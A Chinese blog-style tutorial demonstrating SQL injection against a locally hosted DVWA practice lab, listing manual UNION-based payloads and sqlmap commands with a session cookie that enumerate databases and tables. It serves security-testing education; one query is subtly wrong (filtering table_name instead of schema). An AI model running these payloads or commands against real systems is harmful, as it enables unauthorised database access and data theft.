安全测试--SQL注入窃取数据以及sqlmap使用

上次已经搭建了DVWA安全测试靶场,主要用于安全测试练习,SQL注入这一块在十多年前就开始广泛受到关注了,最早得是在1998年,有个叫rfp的黑客在论坛上发表了关于数据库攻击得一篇文章。

话不多说,开启我们的黑客之旅吧,看看黑客是如何通过SQL注入得漏洞拿到数据库的信息的。

来到我们搭建好的dvwa,里面有sql注入一栏,可以看到的是,这个查询框的功能是输入用户ID后可以得到用户的名字,像下面那样:

 

一、 sql注入的第一步,简单做个输入信息的试探,查看是否有注入点

 

输入 1‘ and 1=1 这个是对的,并带进去了,证明存在注入点

有可能这个输入框背后的sql查询语句为:

select first name xx and surname xx where id = xx

OK,为了验证这个假设是成立的,来进行第二步,看看能不能暴露出对应的数据库名

二、输入1' union select 1,database()

 

由上图可以知道,拿到了这个数据库名称,名为dvwa

三、第三步,知道数据库名后,就可以根据数据库名去查询数据库的内容

1' union select 1, table_name from information_schema.tables where table_name='dvwa'#

 

可以看到数据库下有guestbook、users这两张表

四、接着顺藤摸瓜,去翻下用户表里面有什么内容,用户表里面的账号密码是否能抓取

 

 

像上面那样,用户信息就被拿出来了。

上述为sql注入得一个具体过程,当然,我们测试得时候不会这么一个个的探究,一个个翻就比较耗时耗力了。因此,这边推荐一个用的比较多的sql注入测试工具,sqlmap。

sqlmap 提供了多种注入方式,简化了我们对sql注入的很多操作。

安装:去sqlmap官网下载对应的压缩包,并解压到python目录下。注意,这个工具只支持python2。

如下,就是安装成功了。

 

OK,安装完sqlmap后,我们将会用这个工具对刚刚的地址进行一个注入测试活动,看看通过工具能拿到什么样的信息。

sqlmap访问链接的基本语法为 sqlmap -u "url"

首先先通过抓包拿到这个输入框的url:

如下:

 

获取到这个url后,直接用sqlmap进行访问,发现需要cookies,所以再去获取下cookies

 

OK,继续尝试用工具翻这个链接

 

看结果:sqlmap定位到了注入点

 

然后通过该注入点一键获取所有数据库

python2 -m sqlmap -u "http://192.168.3.152/dvwa/vulnerabilities/sqli/?id=1&Submit=%E7%A1%AE%E5%AE%9A#" --cookie="security=low;PHPSESSID=sps7rijn6qto8obs11paas1n4i" -dbs --batch

 

 

看,成功拿到了所有的数据库名,又可以为所欲为了。。

 

把数据库里面的所有表统统扒出来,看,通过一个注入点,把服务器所有的数据库表都翻出来了,这就真的为所欲为了。。

python2-m sqlmap -u "http://192.168.3.152/dvwa/vulnerabilities/sqli/?id=1&Submit=%E7%A1%AE%E5%AE%9A#" --cookie="security=low;PHPSESSID=sps7rijn6qto8obs11paas1n4i" -dbs -tables --batch

 

看,通过sqlmap我们可以快速地拿到所有的数据,数据库在我们面前一览无遗,如果你的服务器被黑客成功这么攻击了,后果可想而知有多么的可怕!

所以系统的安全性测试的重要性可想而知。

posted @ 2025-05-14 14:06  寻虫测试  阅读(29)  评论(0)    收藏  举报